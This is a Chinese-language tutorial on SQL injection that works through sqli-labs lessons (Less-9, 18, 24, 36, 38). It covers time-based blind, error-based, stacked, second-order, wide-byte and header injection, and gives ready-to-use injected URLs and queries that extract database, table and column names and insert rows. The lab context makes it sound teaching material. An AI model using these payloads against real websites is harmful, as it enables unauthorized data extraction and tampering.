SQL注入-中篇

SQL盲注

一、时间盲注

模拟环境:Less-9

  1. 概述

延迟注入,一种盲注的手法,提交对执行时间敏感的sql语句,通过执行时间的长短来判断是否执行成功。

  1. 时间注入函数
sleep()
if()
ascii()
substring()
length()
mid()

判断是否存在延时注入(Less-9)
  1. 源SQL:SELECT * FROM users WHERE id='$id' LIMIT 0,1
  2. 判断方式一
# 如果存在注入,请求结果将在延时函数执行后才会返回。
# SQL
select * from `security`.users where id ="1" and sleep(5) -- 

# 注入

http://10.196.93.67/sqli-labs/Less-9/?id=1' and sleep(5) --

  1. 判断方式二
# 如果存在注入,请求结果将在延时函数执行后才会返回。
# SQL
select * from `security`.users where id ="1" and if(1=1,sleep(4),1) -- 

#注入
http://10.196.93.67/sqli-labs/Less-9/?id=1' and if(1=1 ,sleep(5),1) -- 

image.png

查询当前数据库的长度

结果为:8位

# SQL 
 select * from `security`.users where id ="1" and if((select length(database()))=8,sleep(4),1) -- 
 #注入
 http://10.196.93.67/sqli-labs/Less-9/?id=1' and if( (select length(database()))=8 ,sleep(5),1) -- 

image.png

查询当前数据库名
#sql 
select * from `security`.users where id = "1"  and if (substr((select  database() limit 0,1),1,1) = "s",sleep(5),1);

# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1' and if (substr((select  database() limit 0,1),1,1) = "s",sleep(5),1) -- 

image.png

查询当前数据库表的数量
#sql
select * from `security`.users where id = "1" and if((select count(*) from information_schema.`TABLES` where table_schema = database())=4,sleep(5),1);

# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1'  and if((select count(*) from information_schema.`TABLES` where table_schema = database())=4,sleep(5),1) -- 

image.png

查询当前数据库表的名称
# sql
select * from `security`.users where id = "1" and if(substr((select table_name from information_schema.`TABLES` where table_schema = database() limit 0,1),1,1)="e",sleep(5),1);

# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.`TABLES` where table_schema = database() limit 0,1),1,1)="e",sleep(5),1) -- 

image.png

查询当前数据库users表的字段个数
# sql
select * from `security`.users where id = "1" and if(( select count(*) from information_schema.columns  where table_name = "users" and table_schema=database())=3,sleep(5),1)

# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1' and if(( select count(*) from information_schema.columns  where table_name = "users" and table_schema=database())=3,sleep(5),1) -- 

image.png

查询当前数据库users表的字段名称
# sql
select * from `security`.users where id = "1" and if( substr(( select column_name  from information_schema.columns  where table_name = "users" and table_schema=database() limit 0,1),1,1) ="i",sleep(5),1)
# 注入
http://10.196.93.67/sqli-labs/Less-9/?id=1'  and if( substr(( select column_name  from information_schema.columns  where table_name = "users" and table_schema=database() limit 0,1),1,1) ="i",sleep(5),1) -- 

image.png

二、报错注入

概述

报错注入是将mysql存在的函数,通过编写错误的SQL语句,从而得到需要的查询结果。

使用场景
  1. 能够将SQL报错信息展示到页面上
  2. 使用mysql自带的函数,通过错误的使用,导致语法被执行
利用函数
floor() #重点
extractvalue() #重点
updatexml() # 重点
geometrycollection()
multipoint()
polygon()
multipolygon()
linestring()
multilinestring()
exp()

报错注入-固定写法

extractvalue()
  1. 示例
#SQL语句
select * from `security`.users where id ="1" and  (extractvalue(1,concat("~",(select user()),"~"))) -- 
# 结果:
/*
[SQL]select * from `security`.users where id ="1" and  (extractvalue(1,concat("~",(select user()),"~"))) -- 

[Err] 1105 - XPATH syntax error: '~root@localhost~'

*/

floor()
  1. 概述

floor报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致查询临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且抛出的SQL语句执行后的结果。

  1. 函数作用:
    1. floor() 向下取整
select floor(-1.8)  # -2
select floor(1.1) # 1
select floor(1.8) # 1
  1. count(): 计数
  2. concat() : 将字符连接
  3. rand():伪随机函数(当该函数传入参数时,返回的值就是固定的,没有传参就是随机的)
select rand(); # 值是随机的
select rand(1);# 第一次随机值是多少,后面在执行也是第一次返回的值
  1. group by 分组
# 示例 对username字段进行分组
select count(*) ,username from `security`.users group by username;
# 结果:

image.png

updataxml()

image.png

堆叠注入

一、原理

php方法:mysql_multi_query()
支持多条sql语句同时执行,通过分号分隔,成堆的执行sql语句

select user();select database();

二、Less-38

# sql
select * from users; insert into users(id,username,password) value(22,"a","e");

# 注入
http://10.196.93.67/sqli-labs/Less-38/?id=1' ; insert into users (id,username,password) value(33,"v","v") -- 

image.png

二次注入

一、利用场景

  1. 能够将恶意SQL存入到数据库中
  2. 保证在网页方可以引用该数据

二、Less-24

  1. 万能密码
    1. admin ' and 1=1 #
#sql
select * from `security`.users union select 1,user(),database();
# 在注册用户名和密码时,用户名输入框输入SQL: v ' union select 1,user(),database();

image.png

宽字节注入

一、原理

网站对注入SQL点添加了过滤条件,不能添加单引号,宽字节注入就是为了绕过检测过滤的。

二、注入条件

  1. 条件一
    1. 数据库查询设置为GBK编码
  2. 条件二
    1. 使用了addslashes()mysql_real_escape_string()/mysql_escape_string()之类的函数

三、Less-36

尝试使用%81来检测
image.png

HTTP请求头注入

Useragent注入(Less-18)

image.png

相关推荐

  1. <span style='color:red;'>sql</span><span style='color:red;'>注入</span>

    sql注入

    2024-06-18 22:04:03      54 阅读
  2. <span style='color:red;'>SQL</span><span style='color:red;'>注入</span>

    SQL注入

    2024-06-18 22:04:03      52 阅读
  3. SQL注入

    2024-06-18 22:04:03       38 阅读
  4. <span style='color:red;'>SQL</span><span style='color:red;'>注入</span>

    SQL注入

    2024-06-18 22:04:03      39 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-06-18 22:04:03       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-06-18 22:04:03       100 阅读
  3. 在Django里面运行非项目文件

    2024-06-18 22:04:03       82 阅读
  4. Python语言-面向对象

    2024-06-18 22:04:03       91 阅读

热门阅读

  1. CSS中几种常用的清除浮动的方法

    2024-06-18 22:04:03       23 阅读
  2. BootStrap

    2024-06-18 22:04:03       28 阅读
  3. 我与华为的缘分

    2024-06-18 22:04:03       26 阅读
  4. 系统架构师面试题

    2024-06-18 22:04:03       30 阅读
  5. HTML(8)——CSS选择器

    2024-06-18 22:04:03       35 阅读
  6. LeetCode 2288.价格减免:模拟

    2024-06-18 22:04:03       32 阅读
  7. 给wordpress网站添加瀑布流效果

    2024-06-18 22:04:03       37 阅读